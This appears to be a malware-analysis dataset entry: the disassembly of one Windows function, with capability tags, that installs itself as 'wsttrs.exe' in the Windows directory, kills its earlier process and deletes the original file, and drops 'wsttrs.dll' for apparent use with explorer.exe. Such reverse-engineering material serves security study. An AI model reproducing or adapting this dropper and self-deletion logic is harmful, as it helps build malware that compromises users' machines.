Function at 0x40104b
Capabilities:
Accept command line arguments
Copy file
Create process on windows
Create thread
Delete file
Get common file path
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x418
push ebx
push esi
push edi
nop
nop
nop
nop
nop
nop
nop
nop
call fcn.0040137f
mov esi, 0x103
lea eax, [ebp - 0x418]
push esi
push eax
call dword [sym.imp.KERNEL32.DLL_GetSystemDirectoryA]
lea eax, [ebp - 0x314]
push esi
push eax
call dword [sym.imp.KERNEL32.DLL_GetWindowsDirectoryA]
lea eax, [ebp - 0x10c]
push esi
xor ebx, ebx
push eax
push ebx
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
mov edi, dword [sym.imp.MSVCRT.dll_strrchr]
lea eax, [ebp - 0x10c]
push 0x5c
push eax
call edi
pop ecx
cmp eax, ebx
pop ecx
je 0x4010af
mov byte [eax], bl
push 1
call fcn.00401674
pop ecx
push ebx
push ebx
push ebx
push 0x401568
push 0x400
push ebx
call dword [sym.imp.KERNEL32.DLL_CreateThread]
lea eax, [ebp - 0x314]
push eax
lea eax, [ebp - 0x10c]
push eax
call dword [sym.imp.MSVCRT.dll__stricmp]
pop ecx
test eax, eax
pop ecx
jne 0x40120e
call dword [sym.imp.KERNEL32.DLL_GetCommandLineA]
push pe_nt_image_headers32
push eax
mov dword [ebp - 4], eax
call dword [sym.imp.MSVCRT.dll_strchr]
push pe_nt_image_headers32
mov dword [ebp - 8], eax
push dword [ebp - 4]
call edi
add esp, 0x10
cmp dword [ebp - 8], ebx
mov edi, eax
je 0x401189
cmp edi, ebx
je 0x401189
lea eax, [ebp - 4]
push eax
lea eax, [edi + 1]
push 0x403090
push eax
call dword [sym.imp.MSVCRT.dll_sscanf]
mov eax, dword [ebp - 8]
sub edi, eax
inc eax
lea ecx, [edi - 1]
push ecx
push eax
lea eax, [ebp - 0x10c]
push eax
call dword [sym.imp.MSVCRT.dll_strncpy]
add esp, 0x18
mov byte [ebp + edi - 0x10d], bl
push dword [ebp - 4]
push ebx
push 0x1f0fff
call dword [sym.imp.KERNEL32.DLL_OpenProcess]
mov edi, eax
cmp edi, ebx
je 0x40116e
push ebx
push edi
call dword [sym.imp.KERNEL32.DLL_TerminateProcess]
push 0xffffffffffffffff
push edi
call dword [sym.imp.KERNEL32.DLL_WaitForSingleObject]
lea eax, [ebp - 0x10c]
push eax
call dword [sym.imp.KERNEL32.DLL_DeleteFileA]
test eax, eax
jne 0x401189
push 1
call dword [sym.imp.KERNEL32.DLL_Sleep]
jmp 0x40116e
push str.explorer.exe
call fcn.004012f4
mov edi, eax
pop ecx
cmp edi, ebx
je 0x4011ea
lea eax, [ebp - 0x418]
push str.wsttrs.dll
push eax
lea eax, [ebp - 0x210]
push str._s_s
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
lea eax, [ebp - 0x210]
push eax
push 0x40313c
push 0x65
push dword [ebp + 8]
call fcn.0040176c
add esp, 0x20
test al, al
je 0x4011ea
lea eax, [ebp - 0x210]
push 0x403078
push eax
push edi
call fcn.00401418
add esp, 0xc
lea eax, [ebp - 0x10c]
push esi
push eax
push ebx
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
lea eax, [ebp - 0x10c]
push eax
push str.wsttrs
call fcn.00401000
pop ecx
pop ecx
jmp 0x40128d
mov edi, dword [sym.imp.MSVCRT.dll_sprintf]
lea eax, [ebp - 0x314]
push str.wsttrs.exe
push eax
lea eax, [ebp - 0x210]
push str._s_s
push eax
call edi
add esp, 0x10
lea eax, [ebp - 0x10c]
push esi
push eax
push ebx
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
lea eax, [ebp - 0x210]
push ebx
push eax
lea eax, [ebp - 0x10c]
push eax
call dword [sym.imp.KERNEL32.DLL_CopyFileA]
call dword [sym.imp.KERNEL32.DLL_GetCurrentProcessId]
push eax
lea eax, [ebp - 0x10c]
push pe_nt_image_headers32
push eax
lea eax, [ebp - 0x210]
push pe_nt_image_headers32
push eax
lea eax, [ebp - 0x314]
push str._s__c_s_c_d
push eax
call edi
add esp, 0x1c
lea eax, [ebp - 0x314]
push ebx
push eax
call dword [sym.imp.KERNEL32.DLL_WinExec]
push 0x3e8
call dword [sym.imp.KERNEL32.DLL_Sleep]
push ebx
call fcn.00401674
pop ecx
pop edi
pop esi
xor eax, eax
pop ebx
leave
ret 0x10